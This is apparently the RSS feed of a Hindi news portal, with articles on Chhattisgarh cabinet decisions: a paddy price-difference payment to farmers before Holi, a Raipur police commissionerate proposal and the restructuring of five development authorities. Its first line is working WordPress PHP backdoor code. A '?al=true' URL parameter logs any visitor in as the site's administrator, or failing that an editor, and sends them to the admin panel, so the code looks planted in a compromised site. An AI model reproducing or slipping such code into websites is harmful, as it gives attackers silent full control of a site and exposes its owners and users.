// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Sai cabinet meeting – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 11 Feb 2026 11:06:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 साय कैबिनेट का बड़ा फैसला: होली से पहले किसानों के खातों में एकमुश्त पहुंचेगी अंतर की राशि https://pratyushaashakinayikiran.com/?p=197040 Wed, 11 Feb 2026 11:06:00 +0000 https://pratyushaashakinayikiran.com/?p=197040 रायपुर

मुख्यमंत्री विष्णुदेव साय की अध्यक्षता में आज मंत्रालय, महानदी भवन में कैबिनेट की बैठक हुई। इस बैठक में किसानों के हित समेत कई महत्वपूर्ण फैसले लिए गए हैं।

कैबिनेट की बैठक में लिए गए निर्णय

    मंत्रिपरिषद की बैठक में छत्तीसगढ़ के षष्ठम् विधान सभा के अष्टम् सत्र माह फरवरी-मार्च, 2026 के लिए राज्यपाल के अभिभाषण का अनुमोदन किया गया।
    मंत्रिपरिषद द्वारा बजट अनुमान वर्ष 2026-27 का विधानसभा में उपस्थापन के लिए छत्तीसगढ़ विनियोग विधेयक-2026 के प्रारूप का अनुमोदन किया गया।
    मंत्रिपरिषद ने राज्य में समर्थन मूल्य पर धान बेचने वाले किसानों को 3100 रूपए प्रति क्विंटल के मान से अंतर की राशि होली पर्व से पहले एकमुश्त भुगतान किए जाने का महत्वपूर्ण निर्णय लिया है। खरीफ विपणन वर्ष 2025-26 में 25 लाख 24 हजार 339 किसानों से 141.04 लाख मीट्रिक टन धान की खरीदी की गई है। छत्तीसगढ़ सरकार द्वारा कृषक उन्नति योजना के तहत धान के मूल्य के अंतर की राशि के रूप में लगभग 10 हजार करोड़ रूपए का भुगतान होली त्यौहार से पहले एकमुश्त किया जाएगा।

यहां यह उल्लेखनीय है कि छत्तीसगढ़ सरकार द्वारा कृषक उन्नति योजना के तहत राज्य के किसानों से प्रति एकड़ 21 क्विंटल धान की खरीदी 3100 रूपए प्रति क्विंटल के मान से की जा रही है, जो देश में सर्वाधिक है। बीते दो वर्षाें में कृषक उन्नति योजना के तहत राज्य के किसानों को धान के मूल्य के अंतर के रूप में 25 हजार करोड़ रूपए से अधिक का भुगतान किया जा चुका है। इस साल होली से पूर्व किसानों को 10 हजार करोड़ रूपए का भुगतान होने से यह राशि बढ़कर 35 हजार करोड़ रूपए हो जाएगी।

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साय कैबिनेट की कल होगी बैठक, रायपुर पुलिस कमिश्नरी सहित कई नीतिगत प्रस्तावों पर होगी चर्चा https://pratyushaashakinayikiran.com/?p=193956 Tue, 20 Jan 2026 07:25:00 +0000 https://pratyushaashakinayikiran.com/?p=193956 रायपुर.

मुख्यमंत्री विष्णुदेव साय की अध्यक्षता में राज्य मंत्रिपरिषद (साय कैबिनेट) की महत्वपूर्ण बैठक कल आयोजित होने जा रही है। इस बैठक में कई अहम नीतिगत और प्रशासनिक प्रस्तावों पर चर्चा की जाएगी। सबसे महत्वपूर्ण एजेंडे में रायपुर पुलिस कमिश्नरी प्रणाली से जुड़ा प्रस्ताव शामिल है, जिस पर अंतिम मुहर लगने की पूरी संभावना जताई जा रही है।

सूत्रों के अनुसार, कैबिनेट बैठक में रायपुर पुलिस कमिश्नरी प्रणाली के अधिकार क्षेत्र और प्रशासनिक सीमाओं के निर्धारण को अंतिम मंजूरी दी जा सकती है। यदि प्रस्ताव स्वीकृत होता है तो राजधानी रायपुर के साथ-साथ नवा रायपुर को भी पुलिस कमिश्नरी क्षेत्र में शामिल किया जा सकता है। इससे राजधानी क्षेत्र में कानून-व्यवस्था को और अधिक प्रभावी तथा सुदृढ़ बनाने में मदद मिलेगी।

पुलिस कमिश्नरी प्रणाली लागू होने के बाद पुलिस प्रशासन को त्वरित निर्णय लेने और अपराध नियंत्रण में अधिक अधिकार मिलेंगे। इस व्यवस्था के तहत पुलिस आयुक्त को मजिस्ट्रेटी शक्तियां भी प्राप्त होंगी, जिससे कानून व्यवस्था से जुड़े मामलों में तत्काल कार्रवाई संभव हो सकेगी। मंजूरी मिलने के बाद राज्य सरकार की ओर से इसकी अधिसूचना जारी की जाएगी। कैबिनेट बैठक में गणतंत्र दिवस के अवसर पर राज्यपाल द्वारा दिए जाने वाले अभिभाषण के प्रारूप को भी स्वीकृति दी जा सकती है। इस अभिभाषण में राज्य सरकार की उपलब्धियों, आगामी योजनाओं और विकास कार्यों का उल्लेख किया जाएगा। ऐसे में कैबिनेट की मंजूरी के बाद अभिभाषण को अंतिम रूप दिया जाएगा।

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छत्तीसगढ़-साय मंत्रिमंडल की बैठक आज, केंद्रीय वस्त्र मंत्री गिरिराज सिंह आएंगे https://pratyushaashakinayikiran.com/?p=122984 Sun, 19 Jan 2025 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=122984 रायपुर.

छत्तीसगढ़ में आज रविवार का दिन काफी अहम रहने वाला है. आज मुख्यमंत्री विष्णुदेव साय की अध्यक्षता में मंत्री मंडल की बैठक होगी, जिसमें नगरीय निकाय, त्रिस्तरीय पंचायत चुनाव समेत धान खरीदी को लेकर अहम फैसले लिए जाएंगे. कांग्रेस पार्टी की घोषणा पत्र समिति और विधायक दल की बैठक भी होने जा रही है, जहां आगामी निकाय चुनावों पर मंथन होगा.

वहीं, केंद्रीय वस्त्र मंत्री गिरिराज सिंह आज से छत्तीसगढ़ के तीन दिवसीय दौरे पर रायपुर पहुंचेंगे. इस बीच, दिल्ली की हवाई सेवाओं पर असर पड़ेगा, जिससे यात्रियों को असुविधा हो सकती है.

मंत्रालय में साय कैबिनेट की बैठक
मुख्यमंत्री विष्णुदेव साय की अध्यक्षता में आज, 19 जनवरी को सुबह 11.30 बजे महानदी भवन मंत्रालय में राज्य मंत्रिमंडल की बैठक होगी. इस बैठक में नगरीय निकाय और त्रिस्तरीय पंचायत चुनावों को लेकर अहम फैसले लिए जाएंगे. साथ ही, धान खरीदी और कस्टम मिलिंग की स्थिति की समीक्षा की जाएगी. प्रदेश में 160 लाख मीट्रिक टन धान खरीदी का अनुमान है, जिसमें से 125 लाख मीट्रिक टन का निराकरण केंद्रीय और राज्य पूल में होगा. अतिशेष 40 लाख मीट्रिक टन धान की नीलामी प्रक्रिया पर भी निर्णय लिया जा सकता है. इसके अलावा, प्रदेश में लंबित राजनीतिक प्रकरणों और विभागों के अन्य प्रस्तावों पर भी चर्चा होगी.

मुख्यमंत्री विष्णु देव साय का दौरा कार्यक्रम
मुख्यमंत्री विष्णु देव साय सुबह 11 बजे मुख्यमंत्री मंत्रालय में प्रधानमंत्री नरेंद्र मोदी के “मन की बात” कार्यक्रम को सुनेंगे. इसके बाद, 11:30 बजे मंत्रालय में राज्य कैबिनेट की बैठक में शामिल होंगे. दोपहर 3:20 बजे मुख्यमंत्री सारंगढ़-बिलाईगढ़ जिले के दौरे पर जाएंगे, जहां वे कई विकास कार्यों का भूमि पूजन, लोकार्पण और शिलान्यास करेंगे. शाम 6:30 बजे मुख्यमंत्री राजधानी रायपुर में इंडियन मेडिकल एसोसिएशन के शपथ ग्रहण समारोह में शामिल होंगे.

केंद्रीय मंत्री गिरिराज सिंह का छत्तीसगढ़ दौरा
केंद्रीय वस्त्र मंत्री गिरिराज सिंह आज से छत्तीसगढ़ के तीन दिवसीय दौरे पर राजधानी रायपुर पहुंचेंगे. 20 जनवरी को वे कसारे वन्य सिल्क मिल का दौरा करेंगे. इस दौरे के दौरान, मंत्री अन्य औद्योगिक विकास परियोजनाओं का भी निरीक्षण करेंगे.

कांग्रेस की महत्वपूर्ण बैठक
कांग्रेस पार्टी की आज प्रदेश कार्यालय राजीव भवन में घोषणा पत्र समिति और विधायक दल की बैठक होगी. बैठक में आगामी नगरीय निकाय चुनावों पर चर्चा की जाएगी, और प्रदेश सह प्रभारी विजय जांगिड भी बैठक में शामिल होंगे.

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छत्तीसगढ़-साय कैबिनेट की बैठक में हुए कई फैसले, पांच विकास प्राधिकरणों के पुनर्गठन आदेश में संशोधन https://pratyushaashakinayikiran.com/?p=73092 Sat, 21 Sep 2024 15:15:00 +0000 https://pratyushaashakinayikiran.com/?p=73092 रायपुर.

छत्तीसगढ़ के सीएम विष्णुदेव साय की अध्यक्षता में मंत्रालय महानदी भवन नवा रायपुर में आयोजित कैबिनेट की बैठक में कई महत्वपूर्ण निर्णय लिए गये हैं। बैठक में छत्तीसगढ़ राज्य ग्रामीण एवं अन्य पिछड़ा वर्ग विकास प्राधिकरण, सरगुजा क्षेत्र आदिवासी विकास प्राधिकरण, अनुसूचित जाति विकास प्राधिकरण, मध्य क्षेत्र आदिवासी विकास प्राधिकरण और बस्तर क्षेत्र आदिवासी विकास प्राधिकरण के पुनर्गठन आदेश में संशोधन के प्रस्ताव का अनुमोदन किया गया।

पांच विकास प्राधिकरणों के पुनर्गठन आदेश में आंशिक रूप से संशोधन की मंजूरी दी है। इस संशोधन से पांचों प्राधिकरणों में जनप्रतिनिधित्व का दायरा काफी विस्तृत किया गया है। पांच प्राधिकरणों में अब राज्य मंत्रिमंडल के सभी मंत्रीगणों को सदस्य के रूप में शामिल करने के साथ ही संबंधित क्षेत्र के राज्यसभा, लोकसभा के सांसद एवं प्राधिकरण क्षेत्रों के जिला पंचायत अध्यक्षों को अब इसका सदस्य बनाया गया है। पांचों प्राधिकरणों में प्रमुख सचिव/सचिव आदिम जाति तथा अनुसूचित जाति विकास विभाग को सदस्य के रूप में शामिल किया गया है। शेष सभी सदस्य यथावत रहेंगे।

छत्तीसगढ़ राज्य ग्रामीण एवं अन्य पिछड़ा वर्ग विकास प्राधिकरण
छत्तीसगढ़ राज्य ग्रामीण एवं अन्य पिछड़ा वर्ग विकास प्राधिकरण के पुनर्गठन आदेश में प्रस्तावित संशोधन को मंत्रिमण्डल ने मंजूरी दी, जिसके तहत मुख्यमंत्री प्राधिकरण के अध्यक्ष एवं क्षेत्र के विधायक उपाध्यक्ष होंगे। इस प्राधिकरण में सदस्य के रूप में शामिल पूर्व में मात्र तीन विभागों के मंत्री के स्थान पर अब राज्य मंत्रिमण्डल के समस्त माननीय मंत्रीगणों को सदस्य के रूप में शामिल किया गया है। प्राधिकरण क्षेत्र के राज्यसभा, लोकसभा के सांसद, प्राधिकरण क्षेत्र के जिला पंचायत अध्यक्ष प्राधिकरण के सदस्य होंगे। प्रमुख सचिव/सचिव आदिम जाति तथा अनुसूचित जाति विकास विभाग को प्राधिकरण के सदस्य के रूप में शामिल किया गया है। प्राधिकरण के पुनर्गठन आदेश के अनुसार पूर्व में सदस्य के रूप में शामिल 35 विधायकगणों को और अन्य सदस्यों को यथावत रखा गया है।

सरगुजा क्षेत्र आदिवासी विकास प्राधिकरण
सरगुजा क्षेत्र आदिवासी विकास प्राधिकरण के पुनर्गठन आदेश में संशोधन किया गया है। माननीय मुख्यमंत्री इस प्राधिकरण के अध्यक्ष एवं क्षेत्र के विधायक (अजजा आरक्षित) उपाध्यक्ष होंगे। पूर्व में सदस्य के रूप में शामिल आदिम जाति कल्याण विभाग मंत्री एवं वित्त मंत्री के स्थान पर अब राज्य मंत्रिमण्डल के समस्त मंत्रीगण  प्राधिकरण के सदस्य होंगे। प्राधिकरण क्षेत्र के राज्यसभा, लोकसभा के सांसद, प्राधिकरण क्षेत्र के जनजाति बाहुल्य जिलों के जिला पंचायत अध्यक्ष भी अब प्राधिकरण के सदस्य होंगे। आदिवासी विकास से जुड़े अधिकतम दो समाजसेवी व विशेषज्ञ (राज्य शासन की ओर से मनोनीत), मुख्य सचिव, प्रमुख सचिव/सचिव आदिम जाति तथा अनुसूचित जाति विकास विभाग प्राधिकरण के सदस्य तथा मुख्यमंत्री जी के प्रमुख सचिव/सचिव प्राधिकरण के सदस्य सचिव होंगे। प्राधिकरण के पुनर्गठन आदेश के अनुसार इसमें सदस्य के रूप में शामिल 14 विधायकगणों को यथावत शामिल किया गया है।

अनुसूचित जाति विकास प्राधिकरण
मुख्यमंत्री इस प्राधिकरण के अध्यक्ष तथा विधायक (अजा आरक्षित) प्राधिकरण के उपाध्यक्ष होंगे। राज्य मंत्रिमंडल के दो मंत्रियों के स्थान पर अब राज्य मंत्रिमण्डल के सभी मंत्रीगणों, संबंधित क्षेत्र के राज्यसभा, लोकसभा के सांसद, प्राधिकरण के जिला पंचायत अध्यक्ष (अजा), अनुसूचित जाति विकास से जुड़े अधिकतम दो समाजसेवी व विशेषज्ञ (राज्य शासन द्वारा मनोनीत), मुख्य सचिव, प्रमुख सचिव/सचिव आदिम जाति तथा अनुसूचित जाति विकास विभाग प्राधिकरण के सदस्य तथा मुख्यमंत्री के प्रमुख सचिव/सचिव इस प्राधिकरण के सदस्य सचिव होंगे। अनुसूचित जाति विकास प्राधिकरण के पुनर्गठन आदेश के अनुरूप सदस्य के रूप में शामिल किए गए 10 विधायकों को यथावत रखा गया है।

मध्य क्षेत्र आदिवासी विकास प्राधिकरण
मुख्यमंत्री इस प्राधिकरण के अध्यक्ष तथा क्षेत्र के विधायक (अजजा आरक्षित) उपाध्यक्ष होंगे। प्राधिकरण के पुनर्गठन आदेश में किए गए संशोधन के अनुसार अब दो मंत्रीगणों के स्थान पर राज्य मंत्रिमण्डल के समस्त मंत्रीगणों तथा प्राधिकरण क्षेत्र के राज्यसभा, लोकसभा के सांसद एवं जिला पंचायत अध्यक्ष को सदस्य के रूप में शामिल किया गया है। इस प्राधिकरण में आदिवासी विकास से जुड़े अधिकतम दो समाजसेवी व विशेषज्ञ (राज्य शासन द्वारा मनोनीत), मुख्य सचिव, प्रमुख सचिव/सचिव आदिम जाति तथा अनुसूचित जाति विकास विभाग को सदस्य के रूप में तथा मुख्यमंत्री  के प्रमुख सचिव/सचिव इसके सदस्य सचिव होंगे। इस प्राधिकरण में पूर्व में सदस्य के रूप में शामिल 12 विधायकों को यथावत रखा गया है।

बस्तर क्षेत्र आदिवासी विकास प्राधिकरण
मुख्यमंत्री इस प्राधिकरण के अध्यक्ष और प्राधिकरण क्षेत्र के निर्वाचित विधायक (अजजा आरक्षित) इसके उपाध्यक्ष होंगे। पूर्व में सदस्य के रूप में शामिल मात्र दो मंत्रियों के स्थान पर अब राज्य मंत्रिमण्डल के समस्त मंत्रीगणों, प्राधिकरण क्षेत्र के राज्यसभा, लोकसभा के सांसद तथा प्राधिकरण क्षेत्र के जनजातीय बाहुल्य जिलों के जिला पंचायत अध्यक्ष को सदस्य के रूप में शामिल किया गया है। आदिवासी विकास से जुड़े अधिकतम दो समाजसेवी व विशेषज्ञ (राज्य शासन की ओर से मनोनीत), मुख्य सचिव, प्रमुख सचिव/सचिव आदिम जाति तथा अनुसूचित जाति विकास विभाग इस प्राधिकरण के सदस्य तथा मुख्यमंत्री के प्रमुख सचिव/सचिव इसके सदस्य सचिव होंगे। प्राधिकरण में सदस्य के रूप में पूर्व में शामिल 12 विधायकगणों को यथावत सदस्य रखा गया है।

अन्य फैसले…
मुख्यमंत्री के स्वेच्छानुदान मद से 262 व्यक्ति एवं संस्थाओं को 4 करोड़ 56 लाख 72 हजार रुपये स्वीकृत राशि का अनुमोदन किया गया। राज्य के शहरों के सुव्यवस्थित विकास और राज्य की विकास योजनाओं के प्रभावी क्रियान्वयन के लिए मंत्रिपरिषद ने एक बड़ा निर्णय लिया गया। जिसके तहत भूखण्डों का पुनर्गठन और प्रदेश में स्वीकृत विकास योजना के क्रियान्वयन हेतु शहरी विकास नीति (टीडीएस) का अनुमोदन किया गया। इस संबंध में दिशा-निर्देश जारी करने के लिये आवास एवं पर्यावरण विभाग को अधिकृत किया गया है। प्रदेश में विकास योजनाओं में प्रस्तावित जनोपयोगी भूमि के समुचित रूप से विकास करने, अतिक्रमण और अवैध निर्माणों को हतोत्साहित करने एवं शहरी आबादी को आधुनिक नागरिक सुविधाओं के अभाव और असुविधाओं के निराकरण के लिए इस शहरी विकास नीति का निर्धारण किया गया है। नगर विकास योजना आवासीय, वाणिज्यिक, औद्योगिक अथवा अन्य प्रयोजन के लिये क्रियान्वित की जा सकेगी।

इधर, विकास प्राधिकरणों के उपाध्यक्ष की हुई नियुक्ति
इससे पहले राज्य शासन ने विभिन्न विकास प्राधिकरणों के उपाध्यक्षों की नियुक्ति के आदेश जारी कर दिए हैं। गोमती साय, विधायक -विधानसभा क्षेत्र पत्थलगांव को सरगुजा क्षेत्र विकास प्राधिकरण का उपाध्यक्ष बनाया गया है। गुरु खुशवंत साहेब, विधायक विधानसभा क्षेत्र आरंग को अनुसूचित जाति विकास प्राधिकरण का उपाध्यक्ष नियुक्त किया गया है। वहीं लता उसेण्डी विधायक विधानसभा क्षेत्र कोण्डागांव को बस्तर क्षेत्र आदिवासी विकास प्राधिकरण का उपाध्यक्ष बनाया गया है। प्रणव कुमार मरपच्ची, विधायक- विधानसभा क्षेत्र मरवाही को मध्य क्षेत्र आदिवासी विकास प्राधिकरण का उपाध्यक्ष नियुक्ति किया गया है। ललित चन्द्राकर विधायक  विधानसभा क्षेत्र दुर्ग (ग्रामीण) छत्तीसगढ़ राज्य ग्रामीण एवं अन्य पिछड़ा वर्ग क्षेत्र विकास प्राधिकरण के उपाध्यक्ष बनाए गए हैं।

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